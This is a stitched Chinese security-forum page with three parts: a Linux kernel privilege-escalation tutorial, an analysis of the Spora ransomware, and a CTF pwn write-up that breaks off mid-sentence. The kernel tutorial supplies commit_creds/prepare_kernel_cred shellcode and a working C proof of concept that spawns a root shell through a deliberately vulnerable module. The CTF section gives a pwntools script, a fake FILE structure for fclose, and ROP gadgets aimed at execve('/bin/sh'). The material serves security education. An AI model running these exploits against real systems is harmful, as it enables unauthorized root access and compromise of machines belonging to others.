在利用gdb进行远程调试时，为了能够拿到当前进程的`task_struct`结构，我们需要获取当前进程的pid，同时获取`init_task`这个内核全局变量，它保存着内核启动的初始任务的`task_strcut`结构体地址，而`task_struct`结构体中保存着一个循环链表`tasks`用来追踪所有的进程`task_struct`结构，因此我们可以遍历所有的`task_struct`并通过对比`pid`的值来判断是否是我们自身的进程，可以使用如下脚本：
# Helper function to find a task given a PID or the
# address of a task_struct.
# The result is set into $t
define find_task
if ((unsigned)$arg0 > (unsigned)&_end)
set $t=(struct task_struct *)$arg0
else
set $t=&init_task
if (init_task.pid != (unsigned)$arg0)
find_next_task $t
while (&init_task!=$t && $t->pid != (unsigned)$arg0)
find_next_task $t
end
if ($t == &init_task)
printf "Couldn't find task; using init_task\n"
end
end
end
p $t
p *(struct task_struct*)$t
p *(const struct cred*)$t->cred
end
define find_next_task
# Given a task address, find the next task in the linked list
set $t = (struct task_struct *)$arg0
set $offset=( (char *)&$t->tasks - (char *)$t)
set $t=(struct task_struct *)( (char *)$t->tasks.next- (char *)$offset)
end
执行`find_task pid`后即可查看对应进程的`task_struct`结构体内容以及其中的`cred`内容，截取部分如下：
$5 = {
usage = {
counter = 0x2
},
uid = {
val = 0x0
},
gid = {
val = 0x0
},
suid = {
val = 0x0
},
sgid = {
val = 0x0
},
euid = {
val = 0x0
},
egid = {
val = 0x0
},
fsuid = {
val = 0x0
},
fsgid = {
val = 0x0
},
securebits = 0x0,
cap_inheritable = {
cap = {0x0, 0x0}
},
cap_permitted = {
cap = {0xffffffff, 0x3f}
},
cap_effective = {
cap = {0xffffffff, 0x3f}
},
cap_bset = {
cap = {0xffffffff, 0x3f}
},
cap_ambient = {
cap = {0x0, 0x0}
},
jit_keyring = 0x0,
session_keyring = 0x0 <irq_stack_union>,
process_keyring = 0x0 <irq_stack_union>,
thread_keyring = 0x0 <irq_stack_union>,
request_key_auth = 0x0 <irq_stack_union>,
security = 0xffff88000714b6a0,
user = 0xffffffff82653f40 <root_user>,
user_ns = 0xffffffff82653fe0 <init_user_ns>,
group_info = 0xffffffff8265b3c8 <init_groups>,
rcu = {
next = 0x0 <irq_stack_union>,
func = 0x0 <irq_stack_union>
}
}
$6 = (struct task_struct *) 0xffff880006575700
当然调试时我们可以通过这个方式比较快速的获取对应进程的`task_struct`结构，在编写shellcode时一般通过寄存器的值或者直接调用相关函数来获取，这里可以参考这本书提到的两种方式，分别利用ESP或者GS寄存器来获取当前进程的`task_struct`结构。
register unsigned long current_stack_pointer asm("esp")
static inline struct thread_info *current_thread_info(void)
{
return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));
}
static __always_inline struct task_struct * get_current(void)
{
return current_thread_info()->task;
}
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
__u32 status; /* thread synchronousflags */
… }
上面所述的都是在32位环境下的查找方式，在64位上的方式还是通过gs寄存器，代码如下：
.text:FFFFFFFF810A77E0 __x64_sys_getuid proc near ; DATA XREF: .rodata:FFFFFFFF820004F0↓o
.text:FFFFFFFF810A77E0 ; .rodata:FFFFFFFF82001BD8↓o ...
.text:FFFFFFFF810A77E0 call __fentry__ ; Alternative name is '__ia32_sys_getuid'
.text:FFFFFFFF810A77E5 push rbp
.text:FFFFFFFF810A77E6 mov rax, gs:current_task
.text:FFFFFFFF810A77EF mov rax, [rax+0A48h]
.text:FFFFFFFF810A77F6 mov rbp, rsp
.text:FFFFFFFF810A77F9 mov esi, [rax+4]
.text:FFFFFFFF810A77FC mov rdi, [rax+88h]
.text:FFFFFFFF810A7803 call from_kuid_munged
.text:FFFFFFFF810A7808 mov eax, eax
.text:FFFFFFFF810A780A pop rbp
.text:FFFFFFFF810A780B retn
.text:FFFFFFFF810A780B __x64_sys_getuid endp
#### 权限提升
在获取到`task_struct`结构体后，我们比较关注的就是其中的`cred`结构，在`task_struct`中包含多个`cred`结构，如下：
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
比较重要的是`real_cred`以及`cred`，它代表了linux内核中credential机制中的主、客体关系，主体提供自己权限的证书，客体提供访问自己所需权限的证书，根据主客体提供的证书及操作做安全性检查，其中`cred`代表了主体证书，`real_cred`则代表了客体证书，`cred`结构体内容如下：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
一般来说，提权过程可以通过如下两个函数来实现，`commit_creds(prepare_kernel_cred(0))`
，其中`prepare_kernel_cred(0)`负责生成一个具有`root`权限的`cred`结构（本质上是获取到了init进程即 **0号进程**
的cred结构），`commit_creds()`则负责将对应的`cred`结构体进行替换，这样让当前进程具有`root`权限，感兴趣同学的可以阅读这两个函数的源码。
那么shellcode该如何确定这两个函数的地址呢，在我们默认的环境中是开启了`kaslr`的，所以这两个函数地址是固定的，我们可以通过ida等工具对`vmlinux`这个可执行内核文件进行分析，加载成功后寻找`commit_creds`函数，如下：
text:FFFFFFFF810B9810 commit_creds proc near ; CODE XREF: sub_FFFFFFFF810913D5+290↑p
.text:FFFFFFFF810B9810 ; sub_FFFFFFFF8109D865+15A↑p ...
.text:FFFFFFFF810B9810 E8 3B 7F B4 00 call __fentry__
.text:FFFFFFFF810B9815 55 push rbp
.text:FFFFFFFF810B9816 48 89 E5 mov rbp, rsp
.text:FFFFFFFF810B9819 41 55 push r13
.text:FFFFFFFF810B981B 41 54 push r12
.text:FFFFFFFF810B981D 53 push rbx
`__fentry__`这个函数仅仅返回，因此可以视为nop指令，所以`commit_creds`函数本质是从`FFFFFFFF810B9815`开始的，当然这里选择0xFFFFFFFF810B9810作为`commit_creds`函数地址，`prepare_kernel_cred`函数如下：
text:FFFFFFFF810B9C00 prepare_kernel_cred proc near ; CODE XREF:
.text:FFFFFFFF810B9C00 E8 4B 7B B4 00 call __fentry__
.text:FFFFFFFF810B9C05 55 push rbp
.text:FFFFFFFF810B9C06 BE C0 00 60 00 mov esi, 6000C0h
.text:FFFFFFFF810B9C0B 48 89 E5 mov rbp, rsp
.text:FFFFFFFF810B9C0E 41 54 push r12
.text:FFFFFFFF810B9C10 49 89 FC mov r12, rdi
.text:FFFFFFFF810B9C13 48 8B 3D 26 26 AD+ mov rdi, cs:cred_jar
.text:FFFFFFFF810B9C13 01
.text:FFFFFFFF810B9C1A 53 push rbx
.text:FFFFFFFF810B9C1B E8 00 68 1B 00 call kmem_cache_alloc
.text:FFFFFFFF810B9C20 48 85 C0 test rax, rax
.text:FFFFFFFF810B9C23 0F 84 E2 00 00 00 jz loc_FFFFFFFF810B9D0B
.text:FFFFFFFF810B9C29 4D 85 E4 test r12, r12
.text:FFFFFFFF810B9C2C 48 89 C3 mov rbx, rax
.text:FFFFFFFF810B9C2F 0F 84 AB 00 00 00 jz loc_FFFFFFFF810B9CE0
因此选择0xFFFFFFFF810B9C00作为`prepare_kernel_cred`函数地址，这样一个简易的shellcode就成形了，如下：
xor rdi,rdi
mov rbx,0xFFFFFFFF810B9C00
call rbx
mov rbx,0xFFFFFFFF810B9810
call rbx
ret
当然，获取函数地址的方式还有其它多种，比如通过调试器或者`/proc/kallsyms`等，这里不再赘述。
当然也有其它方式进行权限提升，系统在判断一个进程的权限时通常是通过检测`cred`结构体中的`uid`、`gid`一直到`fsgid`，如果它们都为0，则默认当前是root权限，所以我们可以通过定位当前进程的`cred`结构并对其内部的数据内容进行修改也可达到提权的目的。
### 样例
#### 基本概念
1. 可加载模块
linux内核最初采用的是宏内核架构，其基本特性就是内核的所有操作集中于一个可执行文件中，这样的好处是模块间不需要通信可以直接调用，有效的提高了内核的运行速度，但是缺点是缺乏可扩展性。因此linux从2.6版本后完善并引入了可装载内核模块（LKMS），这样可以在内核中加载独立的可执行模块，为扩展内核功能提供了较大便利。一般通过以下命令操纵可装载内核模块：
insmod 装载内核模块
lsmod 列出内核模块
rmod 卸载内核模块
在通常的ctf比赛中，大部分题目都会选择给出一个存在漏洞的内核模块，选手需要分析该模块并进行针对性的漏洞利用。
2. 保护机制
a. `KASLR` **内核空间地址随机化，类似于用户层的ASLR**
b. `stack protector` **类似于用户层的stack canary，在内核栈上添加了cookie以防御内核栈溢出**
c. `SMAP` **管理模式访问保护，禁止内核层访问用户态数据**
d. `SMEP` **管理模式执行保护，禁止内核层执行用户态代码**
e. `MMAP_MIN_ADDR` **mmap函数能申请的最小地址，空指针类型的漏洞无法利用**
f. `KPTI` **内核页表隔离，主要目的为了缓解cpu侧信道攻击以及kaslr绕过**
3. 用户与内核间的交互
a. `syscall` **在用户空间和内核空间之间，有一个叫做Syscall(系统调用, system
call)的中间层，是连接用户态和内核态的桥梁。这样即提高了内核的安全型，也便于移植，只需实现同一套接口即可。Linux系统，用户空间通过向内核空间发出Syscall，产生软中断，从而让程序陷入内核态，执行相应的操作**
b. `iotcl` **本质上也是一个系统调用，只是它是用来直接向驱动设备发送或者接收指令、数据。**
c. `open、read、write` **由于驱动设备被映射为文件，因此可通过访问文件的方式对驱动进行操作**
4. 漏洞类型
a. `UNINITIALIZED/NONVALIDATED/CORRUPTED POINTER DEREFERENCE` **内核空指针解引用**
b. `MEMORY CORRUPTION` **内核栈漏洞、内核堆漏洞**
c. `INTEGER ISSUES` **（算术）整数溢出、符号转换问题**
d. `RACE CONDITIONS` **double fetch漏洞**
5. 漏洞样例
本次利用一个存在空指针解引用的漏洞进行内核提权，模块的源码如下：
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
void (*my_funptr)(void) = 0x10000;
ssize_t nullp_write(struct file *file,const char __user *buf,size_t len,loff_t *loff)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
static const struct file_operations mytest_proc_fops = {
.write = nullp_write,
};
proc_create("test_kernel_npd",0666,0,&mytest_proc_fops);
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
虽然说是空指针解引用，但其实由于linux内核中的`MMAP_MIN_ADDR`缓解机制导致在用户层通过`mmap`函数申请0地址失败，因此将要调用的函数地址改到了`0x10000`，这样用户层也可以控制这个地址，方便后面的漏洞利用。
首先利用qemu启动对应的操作系统，这里由于默认的busybox根文件系统无法正常通过`adduser`添加其它用户，因此这里笔者直接使用了[ubuntu16
base](http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/)作为根文件系统，并添加一个test用户，这样便于查看提权是否成功。启动系统后通过`insmod`命令装载存在漏洞的内核模块，如下：
然后通过`su test`切换到test用户，如下：
poc代码如下，编译后已经提前放到了根文件系统目录下，直接执行就好
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
unsigned char* mypoc = "H1\xffH\xc7\xc3\x00\x9c\x0b\x81\xff\xd3H\xc7\xc3\x10\x98\x0b\x81\xff\xd3\xc3";
int main()
{
void* addr0 = mmap(0x10000,4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(addr0,mypoc,24);
int mfd = open("/proc/test_kernel_npd",O_RDWR);
int res= write(mfd,"run shellcode",14);
system("/bin/bash");
return 0;
}
执行结果如下:
此时可以看出已经成功提权。
#### reference
1. [【系列分享】Linux 内核漏洞利用教程（二）：两个Demo - 安全客，安全资讯平台 (anquanke.com)](https://www.anquanke.com/post/id/85840)
2. [从零开始的 kernel pwn 入门 - I：Linux kernel 简易食用指南 - 安全客，安全资讯平台 (anquanke.com)](https://www.anquanke.com/post/id/258874#h3-12) | 社区文章 |
# 【木马分析】“spora”敲诈者木马分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x1** **前言**
“spora”敲诈者是今年年初发现的一款新型的敲诈者木马。该类型的敲诈者木马在密钥的处理以及与受害者的交互上有重大的突破。众所周知，过去的敲诈者木马在密钥的获取上一般有两种方式，一是将密钥硬编码在文件中，这种方案的缺点在于同一批放出的敲诈者木马使用相同的RSA公钥，当有一个私钥泄露之后，同一批敲诈者木马的受害计算机也就可以得救；另一种方式是从服务端获取密钥以达到一机一密钥的目的，不过倘若无法成功从服务端获取密钥将加密失败。“spora”敲诈者在密钥获取上进行了改进，利用相关的API生成一组RSA密钥组和一个AES-256密钥，然后使用该AES-256密钥加密RSA密钥组的私钥，最后用硬编码在文件中的RSA公钥加密AES-256密钥。而对于文件的加密，程序会为每个待加密的文件生成一个AES-256密钥，并用该密钥加密文件，最后再使用之前产生的RSA密钥组的公钥加密每个文件独有的AES-256密钥并写入文件中。具体如下图所示。
图1 加密示意图
**0x2** **样本具体分析**
相比较其他敲诈者木马繁琐的运行流程，“spora”敲诈者木马的运行流程相对简洁。首先提取数据段中的数据解密后保存到栈中，作为第一段shellcode。
图2 解密第一段shellcode
在第一段shellcode中将申请一段内存用于存放第二段shellicode并执行。
图3 申请空间并写入shellcode
在第二段shellcode中程序以挂起方式运行一个自身的新实例，并且以进程替换的方式将第三段shellcode注入到新实例中，这次写入的shellcode将执行程序最主要的功能—加密。
图4 解除映射以执行进程替换
在傀儡进程中，程序会先判断系统版本。
图5 判断系统版本
完成系统版本的判断后，程序会使用硬编码在程序文件中的AES密钥解密硬编码在程序文件中的加密的RSA公钥以及勒索页面HTML文档。方便起见，后面将称解密得到的RSA密钥为硬编码的RSA密钥。
图6 解密得硬编码的RSA密钥和勒索页面HTML文档
之后程序读取相应的标记文件，该标记文件用于记录加密文件的一些信息。在初次感染该敲诈者时该标记文件是不存在的，程序会自动创建标记文件，并读取文件，由于此时标记文件中并无内容，读取操作会返回-1，程序也就据此确定该计算机是首次感染“spora”敲诈者，并执行加密操作。
图7 读取标记文件内容
之后程序将遍历系统的所有文件以及网络资源中的文件，并选择加密的目标。待加密文件的路径将避开"windows"，"program
files"，"program files (x86)"，"games"
四个路径，加密文件的类型包括xls，doc，xlsx，docx，rtf，odt，pdf，psd，dwg，cdr，cd，mdb，1cd，dbf，sqlite，accdb，jpg，jpeg，tiff，zip，rar，7z，backup。加密后将不会修改文件后缀。
图8 不加密的文件路径
图9 选取待加密文件过程
遍历所有文件并获取待加密文件路径之后会将文件路径信息以统一的密码加密后保存到之前的标记文件中。这也方便之后获取赎金后对文件进行解密。
图10 将文件路径信息写入标记文件中
之后就开始进行加密操作，首先是生成一个RSA密钥组，并将系统信息附到RSA私钥之后。附加的系统信息包括本地时间，位置信息以及用户名。
图11 产生RSA密钥组
图12 RSA私钥后附加系统信息
图13附加信息的RSA私钥
之后程序会对附加信息的RSA私钥求哈希，得到的哈希值将作为本机的标识符，用于之后支付赎金的操作。
图14 对附加信息的RSA私钥求哈希作为本机标识符
图15 生成的本机标识符
然后程序生成一个AES-256密钥，并用它加密之前产生的RSA密钥组的私钥，然后再使用硬编码在程序中的RSA公钥加密AES密钥，然后将加密后的AES密钥以及RSA私钥存放到KEY文件中。
图16 密钥的处理
最后就是对待加密文件的加密。对于文件的加密，最大的加密大小为5M。程序会为每个文件配置一个生成的AES-256密钥，并用它加密文件，最后使用之前生成的RSA密钥组的公钥加密该AES密钥，并将加密后的密钥也写入文件中。
图17 文件的加密
在完成加密工作之后，程序不忘删除卷影，然后将C盘下的重要文件夹隐藏，并生成伪装成相应的快捷方式指向本程序。除外程序还会生成VBS脚本并将脚本复制到启动文件夹下，此处不再赘述。
之后程序将弹出勒索页面，该勒索页面非常“人性化”，受害者只要点击相应按钮就可以跳转到相应的支付页面进行支付，支付方式也是多种多样，包括恢复大小小于25M的文件，恢复所有文件并且移除“spora”敲诈者相关程序等等，每种服务对应的价格也不同。除此之外还可以在线和木马传播者交流，这也是之前从未见过的。由此可以看出，“spora”敲诈者已经进入了勒索即服务的阶段。
图18 勒索展示页面
图19 支付页面，右下角可见聊天框
**0x3** **总结**
“spora”敲诈者不仅改进了密钥的获取以及传递方式，还开启了勒索软件即服务的先河，不慎感染该敲诈者木马的用户只能通过在“便捷的支付页面”缴纳赎金来恢复文件。从“spora”敲诈者的爆发可以看出，敲诈者木马已经成为一个颇具规模的产业，其作用范围也不仅仅局限于文件的加密，将包含更多的衍生“服务”，而这些“服务”所带来的暴利，将极大的增加敲诈者木马的数量以及类型。
对于普通网民来说，可以从下面几个方面预防这类病毒：
1\. 对重要数据及时做备份，将备份存在多个位置，预防数据损坏丢失。
2\. 打好系统和软件补丁，预防各类挂马和漏洞攻击。
3\. 养成良好的上网习惯，不轻易打开陌生人发来的邮件附件。
4\. 最重要的，用户应该选择一款可靠的安全软件，保护计算机不受各类木马病毒侵害。
**360安全卫士还独家提供了“反勒索服务”，并向用户承诺：使用360安全卫士并开启该服务后，如仍然感染敲诈者病毒，360将提供最高3个比特币的赎金帮助用户恢复数据，真正彻底保障用户的数据安全。**
**** | 社区文章 |
# 【CTF通关攻略】白帽大会-pwn3-挑战指南
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://ctfhacker.com/pwn/2016/09/11/whitehat-pwn3.html>
译文仅供参考，具体内容表达以及含义原文为准。
2016年白帽大会结束了，让我们来看一看会中提出的pwn3挑战。
**
**
**挑战**
* * *
二进制文件本身是很简单的，因为其中只有两个函数︰ write_file 和 read_file，而Write_file 函数又非常简单直接。
$ r2 readfile
[0x08048640]> aaa
[0x08048640]> s sym.write_file
[0x080486f4]> pdf~call
| 0x08048708 e833feffff call sym.imp.printf
| 0x08048715 e816ffffff call sym.imp.__fpurge
| 0x08048721 e82afeffff call sym.imp.gets
| 0x08048737 e8d4feffff call sym.imp.fopen
| | 0x0804874c e85ffeffff call sym.imp.puts
| | 0x08048758 e873feffff call sym.imp.exit
| 0x08048765 e8d6fdffff call sym.imp.printf
| 0x08048779 e8a2feffff call sym.imp.__isoc99_scanf
| 0x080487c5 e876fdffff call sym.imp.printf
| 0x080487d2 e859feffff call sym.imp.__fpurge
| 0x080487ef e86cfdffff call sym.imp.fgets
| 0x0804880f e87cfdffff call sym.imp.fwrite
| 0x0804881a e851fdffff call sym.imp.fclose
简单地说，write_file 将执行以下操作︰
要求用户提供文件名
如果给定文件名打不开，那直接退出；
要求用户提供写入文件的大小；
要求用户提供写入文件的数据；
将给定数据写入指定文件名；
退出。
这部分没有什么特别之处。我们可以直接将我们的文件内容写入磁盘。
有趣的部分是read_file。这部分代码的开始部分和 write_file 很类似。
要求用户提供文件名；
如果打不开给定文件名，就退出。
假设给定文件名是有效的，那么会直接执行接下来的代码。
| `-> 0x0804888e c74424080200. mov dword [esp + 8], 2
| 0x08048896 c74424040000. mov dword [esp + 4], 0
| 0x0804889e 8b45f4 mov eax, dword [ebp - local_ch]
| 0x080488a1 890424 mov dword [esp], eax
| 0x080488a4 e8d7fcffff call sym.imp.fseek
| 0x080488a9 8b45f4 mov eax, dword [ebp - local_ch]
| 0x080488ac 890424 mov dword [esp], eax
| 0x080488af e83cfdffff call sym.imp.ftell
| 0x080488b4 8945f0 mov dword [ebp - local_10h], eax
| 0x080488b7 c74424080000. mov dword [esp + 8], 0
| 0x080488bf c74424040000. mov dword [esp + 4], 0
| 0x080488c7 8b45f4 mov eax, dword [ebp - local_ch]
| 0x080488ca 890424 mov dword [esp], eax
| 0x080488cd e8aefcffff call sym.imp.fseek
| 0x080488d2 8b55f0 mov edx, dword [ebp - local_10h]
| 0x080488d5 8d85f0feffff lea eax, [ebp - local_110h]
| 0x080488db 8b4df4 mov ecx, dword [ebp - local_ch]
| 0x080488de 894c240c mov dword [esp + 0xc], ecx
| 0x080488e2 89542408 mov dword [esp + 8], edx
| 0x080488e6 c74424040100. mov dword [esp + 4], 1
| 0x080488ee 890424 mov dword [esp], eax
| 0x080488f1 e8aafcffff call sym.imp.fread
| 0x080488f6 8d85f0feffff lea eax, [ebp - local_110h]
| 0x080488fc 890424 mov dword [esp], eax
| 0x080488ff e8acfcffff call sym.imp.puts
| 0x08048904 8b45f4 mov eax, dword [ebp - local_ch]
| 0x08048907 890424 mov dword [esp], eax
| 0x0804890a e861fcffff call sym.imp.fclose
| 0x0804890f c9 leave
0x08048910 c3 ret
此函数会在fread时发生多汁，无论给定的写入内容是什么，Fread 都会将其写入 local_110h，这就给了我们一个缓冲区溢出漏洞。
在此溢出中， local_ch 变量将会被覆盖，该变量中会包含打开文件的文件标头。在溢出之后会出现这个问题，然后此指针会被传递给
fclose。如果该指针不指向一个有效的文件结构，会出现一个神奇的错误，在这种情况下这样的错误对用户来说很不利。
我们从下面的脚本开始。此脚本只是创建了函数，使得调用该二进制文件函数变得更容易一点。我们将文件名设置称大写字符循环值，将文件内容设置成另一种循环的小写字符；所以如果我们在之后的崩溃中看到这些循环值，就可以知道数据
(在 Github win_1.py) 的出处了。
from pwn import *
import string
context.terminal = ['tmux', 'splitw', '-h']
r = None
def write_file(name, data):
r.sendline('1')
r.sendline(name)
r.sendline(str(len(data)))
r.sendline(data)
def read_file(name):
r.sendline('2')
r.sendline(name)
filename = '/tmp/' + cyclic(240, alphabet=string.ascii_uppercase)
print(filename)
try:
os.remove(filename)
except:
pass
r = process("./readfile")
write_file(filename, cyclic(1000))
r = process("./readfile")
gdb.attach(r, '''
c
''')
read_file(filename)
r.interactive()
执行这个代码之后，我们会看到下面这样的问题。
[----------------------REGISTERS-----------------------]
*EAX 0x63616170 ('paac')
*EBX 0xf771b000 <-- 0x1a9da8
*ECX 0xf771bb07 (_IO_2_1_stdout_+71) <-- 0x71c8980a /* 'nq' */
*EDX 0xf771c898 <-- 0x0
*EDI 0x0
*ESI 0x63616170 ('paac')
*EBP 0xffe59fa8 <-- 'saactaacuaacvaa...'
*ESP 0xffe59e50 --> 0xf771bac0 (_IO_2_1_stdout_) <-- 0xfbad2887
*EIP 0xf75d4386 (fclose+22) <-- cmp byte ptr [esi + 0x46], 0 /* '~F' */
[-------------------------CODE-------------------------]
=> 0xf75d4386 <fclose+22> cmp byte ptr [esi + 0x46], 0
0xf75d438a <fclose+26> jne 0xf75d4510 <0xf75d4510; fclose+416>
[------------------------STACK-------------------------]
00:0000| esp 0xffe59e50 --> 0xf771bac0 (_IO_2_1_stdout_) <-- 0xfbad2887
01:0004| 0xffe59e54 --> 0xf771b000 <-- 0x1a9da8
02:0008| 0xffe59e58 <-- 0x0
03:000c| 0xffe59e5c <-- 0x0
04:0010| 0xffe59e60 --> 0xffe59fa8 <-- 'saactaacuaacvaa...'
05:0014| 0xffe59e64 --> 0xf7747500 <-- pop edx
06:0018| 0xffe59e68 --> 0xf771c898 <-- 0x0
07:001c| 0xffe59e6c --> 0xf771b000 <-- 0x1a9da8
[----------------------BACKTRACE-----------------------]
> f 0 f75d4386 fclose+22
f 1 804890f read_file+231
f 2 63616174
f 3 63616175
f 4 63616176
f 5 63616177
f 6 63616178
f 7 63616179
f 8 6461617a
f 9 64616162
f 10 64616163
Program received signal SIGSEGV
在这里，我们看到因为 esi 是循环字符串 paac 的一部分，从而不能取消引用esi +
0x46，所以才发生了崩溃。我们还不确定这在文件结构中意味着什么，所以来看看如果将 paac 设置为任意的有效地址是否可以绕过这个问题。首先，让我们将
esi 值设置为我们的文件名值。
$ r2 readfile
[0x08048640]> aaa
[0x08048640]> s obj.name
[0x0804a0a0]>
在脚本中更新 paac (win_2.py 在 Github) 偏移量的值。
data = 'a' * cyclic_find('paac')
data += p32(0x804a0a0) # Global address for obj.name
data += 'b' * (1000 - len(data))
write_file(filename, data)
然后出现了下面这样的崩溃问题。
[----------------------REGISTERS-----------------------]
...
*EDI 0x41415241 ('ARAA')
...
[-------------------------CODE-------------------------]
=> 0xf76a9d40 <fclose+64> cmp ebp, dword ptr [edi + 8]
0xf76a9d43 <fclose+67> je 0xf76a9d69 <0xf76a9d69; fclose+105>
所以可以看到我们的
edi值指向的是文件名中循环的一部分。这次，将ARAA值替换为无效的文件名地址。结果就是，我们尝试了几个不同的无效地址，都不会导致这样的崩溃。我们的有效地址存在于可写模块当中︰
0x804af00 (在 Github win_3.py)。
这次，我们遇到了一次有趣的崩溃现象。
[----------------------REGISTERS-----------------------]
*EAX 0x41414141 ('AAAA')
EBX 0xf7710000 <-- 0x1a9da8
*ECX 0x706d742f ('/tmp')
*EDX 0x100
*EDI 0x1000
*ESI 0x804a0a0 (name) <-- '/tmp/aaaabaaaca...'
*EBP 0x61616461 ('adaa')
*ESP 0xffc1a0f0 --> 0x804a0a0 (name) <-- '/tmp/aaaabaaaca...'
*EIP 0xf768da8d <-- call dword ptr [eax + 0x3c]
[-------------------------CODE-------------------------]
=> 0xf768da8d call dword ptr [eax + 0x3c]
在我们控制 eax调用 [eax + 0x3c]时发生了崩溃。这意味着我们可以将 eax 设置为任何地址减去
0x3c（计算所得），并调用任何函数。值得一提的是，我们还控制了 ebp。这非常有趣，因为将 ebp 设置为任何我们控制的地址，并使用一个 leave;
ret ROP小工具将我们的堆栈旋转到任何位置。(见 Github win_4.py)
leaveret = 0x80486f1
data = p32(leaveret)
data2 = 'c' * cyclic_find('aaca')
data2 += p32(0x04a0f000) # Use one of the next 0x08 bytes here for the address 0x0804a0f0 (some bytes into the filename)
data2 += 'x08' * (cyclic_find('ARAA', alphabet=string.ascii_uppercase) - 4 - len(data2))
data += data2
data += p32(0x804af00) # 2) Some valid address to pass fclose
data += p32(0x804a0a5-0x3c) # 3) Address we will be calling at instruction call [eax + 0x3c]
data += cyclic(240-len(data), alphabet=string.ascii_uppercase)
filename = '/tmp/' + data
下面，我们为内存添加安装一个 ROP 链来进行完整的执行过程。
[----------------------REGISTERS-----------------------]
...
*EBP 0x41414141 ('AAAA')
*ESP 0x804a0f8 (name+88) <-- 'CAAADAAAEAAAFAA...'
EIP 0x41414142 ('BAAA')
[------------------------STACK-------------------------]
00:0000| esp 0x804a0f8 (name+88) <-- 'CAAADAAAEAAAFAA...'
01:0004| 0x804a0fc (name+92) <-- 'DAAAEAAAFAAAGAA...'
02:0008| 0x804a100 (name+96) <-- 'EAAAFAAAGAAAHAA...'
03:000c| 0x804a104 (name+100) <-- 'FAAAGAAAHAAAIAA...'
04:0010| 0x804a108 (name+104) <-- 'GAAAHAAAIAAAJAA...'
05:0014| 0x804a10c (name+108) <-- 'HAAAIAAAJAAAKAA...'
06:0018| 0x804a110 (name+112) <-- 'IAAAJAAAKAAALAA...'
07:001c| 0x804a114 (name+116) <-- 'JAAAKAAALAAAMAA...'
[----------------------BACKTRACE-----------------------]
> f 0 41414142
f 1 41414143
f 2 41414144
f 3 41414145
f 4 41414146
**现在我们看一下 ROP**
****
* * *
通过读取服务器上的 /etc/os-release，我们知道该服务器是 Ubuntu 14 机器。我们现在使用的也是 Ubuntu 14
机，所以我们假定这是相同的 libc。（请注意，由于游戏服务器已经过期，所以我们最后没有在该游戏服务器中测试这个链接。先假设本地环境与游戏服务器完全一致)
有很多 ROP 链的可能结果，所以让我们尝试调用magic ROP gadget来从libc中调用execve('/ bin/sh '，0，0)。我们在
libc_base + 0x40069 里面发现了这个小工具。通常情况下，用户会在之前就调用它，但因为我们在过程中重写了，所以我们可以简单地将 eax
设置为/bin/sh，然后调用其余的操作说明。
* text:00040069 mov [esp+16Ch+status], eax
* text:0004006C call execve
使用ROPgadget –depth 50 –binary readfile可以在二进制文件中发现两个有用的小工具。
0x080486af : mov eax, dword ptr [0x804a088] ; cmp eax, ebx ; jb 0x80486ba ; mov byte ptr [0x804a084], 1 ; add esp, 4 ; pop ebx ; pop ebp ; ret
0x080486be : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
结果就是，在此二进制文件没有一个简单的pop eax; ret，所以我们必须现写一个值放入eax 。这时候第一个小工具就派上用场了。第一个小工具会从
0x804a088 取出某个值，然后将该值放入 eax。现在我们要问"我们怎样才能在
0x804a088中得到一个值"？幸运的是，gets可以直接进入二进制文件。所以我们能够将一个值放入 eax 的保险做法如下︰
ROP进入gets(0x804a088)
发送一个存储在 0x804a088的值
ROP进入 0x80486af中将那个值放入eax
我们需要预设 ebx 为零，以使它永远无法通过 cmp eax、 ebx 检查。利用一个简单的pop ebx; pop ebp;
ret就很容易达到。这个相同的小工具之后，我们还会看到一个pop ebx。所以还可以利用这个小工具将任意值放入
